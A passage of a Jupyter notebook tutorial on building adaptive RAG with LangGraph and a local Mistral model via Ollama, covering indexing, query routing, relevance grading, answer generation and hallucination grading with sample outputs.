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IEAgw4muAhsAgUoQAEKUIACFKAABShAAQpQwBYFGHSwxavKc6IABShAAQpQgAIUoAAFKEABCphAgEEHE1wENoECFKAABShAAQpQgAIUoAAFKGCLAgw62OJV5TlRgAIUoAAFKEABClCAAhSgAAVMIMCggwkuAptAAQpQgAIUoAAFKEABClCAAhSwRQEGHWzxqvKcKEABClCAAhSgAAUoQAEKUIACJhBg0MEEF4FNoAAFKEABClCAAhSgAAUoQAEK2KIAgw62eFV5ThSgAAUoQAEKUIACFKAABShAARMIMOhggovAJlCAAhSgAAUoQAEKUIACFKAABWxRgEEHW7yqPCcKUIACFKAABShAAQpQgAIUoIAJBBh0MMFFYBMoQAEKUIACFKAABShAAQpQgAK2KMCggy1eVZ4TBShAAQpQgAIUoAAFKEABClDABAIMOpjgIrAJFKAABShAAQpQgAIUoAAFKEABWxRg0MEWryrPiQIUoAAFKEABClCAAhSgAAUoYAIBBh1McBHYBApQgAIUoAAFKEABClCAAhSggC0KMOhgi1eV50QBClCAAhSgAAUoQAEKUIACFDCBAIMOJrgIbAIFKEABClCAAhSgAAUoQAEKUMAWBRh0sMWrynOiAAUoQAEKUIACFKAABShAAQqYQIBBBxNcBDaBAhSgAAUoQAEKUIACFKAABShgiwIMOtjiVeU5UYACFKAABShAAQpQgAIUoAAFTCDAoIMJLgKbQAEKUIACFKAABShAAQpQgAIUsEUBBh1s8arynChAAQpQgAIUoAAFKEABClCAAiYQYNDBBBeBTaAABShAAQpQgAIUoAAFKEABCtiiAIMOtnhVeU4UoAAFKEABClCAAhSgAAUoQAETCDDoYIKLwCZQgAIUoAAFKEABClCAAhSgAAVsUYBBB1u8qjwnClCAAhSgAAUoQAEKUIACFKCACQQYdDDBRWATKEABClCAAhSgAAUoQAEKUIACtijAoIMtXlWeEwUoQAEKUIACFKAABShAAQpQwAQCDDqY4CKwCRSgAAUoQAEKUIACFKAABShAAVsUYNDBFq8qz4kCFKAABShAAQpQgAIUoAAFKGACgf8HJUMwXu0O6MoAAAAASUVORK5CYII=" + } + }, + "cell_type": "markdown", + "id": "bb89d3f0-7ade-43a8-a527-4bec45971cf6", + "metadata": {}, + "source": [ + "# Adaptive RAG using local LLMs\n", + "\n", + "Adaptive RAG is a strategy for RAG that unites (1) [query analysis](https://blog.langchain.dev/query-construction/) with (2) [active / self-corrective RAG](https://blog.langchain.dev/agentic-rag-with-langgraph/).\n", + "\n", + "In the [paper](https://arxiv.org/abs/2403.14403), they report query analysis to route across:\n", + "\n", + "* No Retrieval\n", + "* Single-shot RAG\n", + "* Iterative RAG\n", + "\n", + "Let's build on this using LangGraph. \n", + "\n", + "In our implementation, we will route between:\n", + "\n", + "* Web search: for questions related to recent events\n", + "* Self-corrective RAG: for questions related to our index\n", + "\n", + "![Screenshot 2024-04-01 at 1.29.15 PM.png](attachment:3755396d-c4a8-45bd-87d4-00cb56339fe5.png)" + ] + }, + { + "cell_type": "markdown", + "id": "8cece98f-a3ed-417e-8b6a-1754e8f9c42a", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "First, let's install our required packages and set our API keys" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "88debf5c-6972-415c-b8fb-f65eab203b7a", + "metadata": {}, + "outputs": [], + "source": [ + "%capture --no-stderr\n", + "%pip install -U langchain-nomic langchain_community tiktoken langchainhub chromadb langchain langgraph tavily-python nomic[local]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2369652a", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(var: str):\n", + " if not os.environ.get(var):\n", + " os.environ[var] = getpass.getpass(f\"{var}: \")\n", + "\n", + "\n", + "_set_env(\"TAVILY_API_KEY\")\n", + "_set_env(\"NOMIC_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "aea269f6", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "6a5d4a26-249b-4551-aa13-6c373429618e", + "metadata": {}, + "source": [ + "### LLMs\n", + "\n", + "#### Local Embeddings\n", + "\n", + "You can use `GPT4AllEmbeddings()` from Nomic, which can access use Nomic's recently released [v1](https://blog.nomic.ai/posts/nomic-embed-text-v1) and [v1.5](https://blog.nomic.ai/posts/nomic-embed-matryoshka) embeddings.\n", + "\n", + "Follow the documentation [here](https://docs.gpt4all.io/gpt4all_python_embedding.html#supported-embedding-models).\n", + "\n", + "#### Local LLM\n", + "\n", + "(1) Download [Ollama app](https://ollama.ai/).\n", + "\n", + "(2) Download a `Mistral` model from various Mistral versions [here](https://ollama.ai/library/mistral) and Mixtral versions [here](https://ollama.ai/library/mixtral) available. Also, try one of the [quantized command-R models](https://ollama.com/library/command-r).\n", + "\n", + "```\n", + "ollama pull mistral\n", + "```" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "id": "af8379bd-7eae-4ba6-b632-12e89eab9920", + "metadata": {}, + "outputs": [], + "source": [ + "# Ollama model name\n", + "local_llm = \"mistral\"" + ] + }, + { + "cell_type": "markdown", + "id": "04718a0c-7a48-4243-97a2-940a0239cc12", + "metadata": {}, + "source": [ + "## Create Index" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "id": "f9ff6b99-080d-4827-b2cb-f775543d76f5", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_nomic.embeddings import NomicEmbeddings\n", + "\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=250, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=NomicEmbeddings(model=\"nomic-embed-text-v1.5\", inference_mode=\"local\"),\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "2f3eb922-27a1-4a72-a727-85fbf5b3daf1", + "metadata": {}, + "source": [ + "## LLMs\n", + "\n", + "Note: tested cmd-R on Mac M2 32GB and [latency is ~52 sec for RAG generation](https://smith.langchain.com/public/3998fe48-efc2-4d18-9069-972643d0982d/r)." + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "id": "7045e064-e666-4aea-9111-6e9d2007f27e", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "{'datasource': 'vectorstore'}\n" + ] + } + ], + "source": [ + "### Router\n", + "\n", + "from langchain.prompts import PromptTemplate\n", + "from langchain_community.chat_models import ChatOllama\n", + "from langchain_core.output_parsers import JsonOutputParser\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are an expert at routing a user question to a vectorstore or web search. \\n\n", + " Use the vectorstore for questions on LLM agents, prompt engineering, and adversarial attacks. \\n\n", + " You do not need to be stringent with the keywords in the question related to these topics. \\n\n", + " Otherwise, use web-search. Give a binary choice 'web_search' or 'vectorstore' based on the question. \\n\n", + " Return the a JSON with a single key 'datasource' and no premable or explanation. \\n\n", + " Question to route: {question}\"\"\",\n", + " input_variables=[\"question\"],\n", + ")\n", + "\n", + "question_router = prompt | llm | JsonOutputParser()\n", + "question = \"llm agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(question_router.invoke({\"question\": question}))" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "813cdcef-8b75-4214-a2ed-b89077b3d287", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "{'score': 'yes'}\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "from langchain.prompts import PromptTemplate\n", + "from langchain_community.chat_models import ChatOllama\n", + "from langchain_core.output_parsers import JsonOutputParser\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " Here is the retrieved document: \\n\\n {document} \\n\\n\n", + " Here is the user question: {question} \\n\n", + " If the document contains keywords related to the user question, grade it as relevant. \\n\n", + " It does not need to be a stringent test. The goal is to filter out erroneous retrievals. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no premable or explanation.\"\"\",\n", + " input_variables=[\"question\", \"document\"],\n", + ")\n", + "\n", + "retrieval_grader = prompt | llm | JsonOutputParser()\n", + "question = \"agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 8, + "id": "aeb8b373-0289-4dec-bd4b-8b2701200301", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " In an LLM-powered autonomous agent system, the Large Language Model (LLM) functions as the agent's brain. The agent has key components including memory, planning, and reflection mechanisms. The memory component is a long-term memory module that records a comprehensive list of agents’ experience in natural language. It includes a memory stream, which is an external database for storing past experiences. The reflection mechanism synthesizes memories into higher-level inferences over time and guides the agent's future behavior.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_community.chat_models import ChatOllama\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, temperature=0)\n", + "\n", + "\n", + "# Post-processing\n", + "def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "question = \"agent memory\"\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 9, + "id": "38345cff-e2d0-436e-aa09-599522a61eed", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{'score': 'yes'}" + ] + }, + "execution_count": 9, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Hallucination Grader\n", + "\n", + "# LLM\n", + "llm = ChatOllama(model=local_llm, format=\"json\", temperature=0)\n", + "\n", + "# Prompt\n", + "prompt = PromptTemplate(\n", + " template=\"\"\"You are a grader assessing whether an answer is grounded in / supported by a set of facts. \\n \n", + " Here are the facts:\n", + " \\n ------- \\n\n", + " {documents} \n", + " \\n ------- \\n\n", + " Here is the answer: {generation}\n", + " Give a binary score 'yes' or 'no' score to indicate whether the answer is grounded in / supported by a set of facts. \\n\n", + " Provide the binary score as a JSON with a single key 'score' and no preamble or explanation.\"\"\",\n", + " input_variables=[\"generation\", \"documents\"],\n", + ")\n", + "\n", + "hallucination_grader = prompt | llm | JsonOutputParser()\n", + "hallucination_grader.invoke({\"documents\": docs, \"generation\": generation})" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "id": "9771caa1-5542-47c3-8354-aeeafcf51964", + "metadata": {}, + 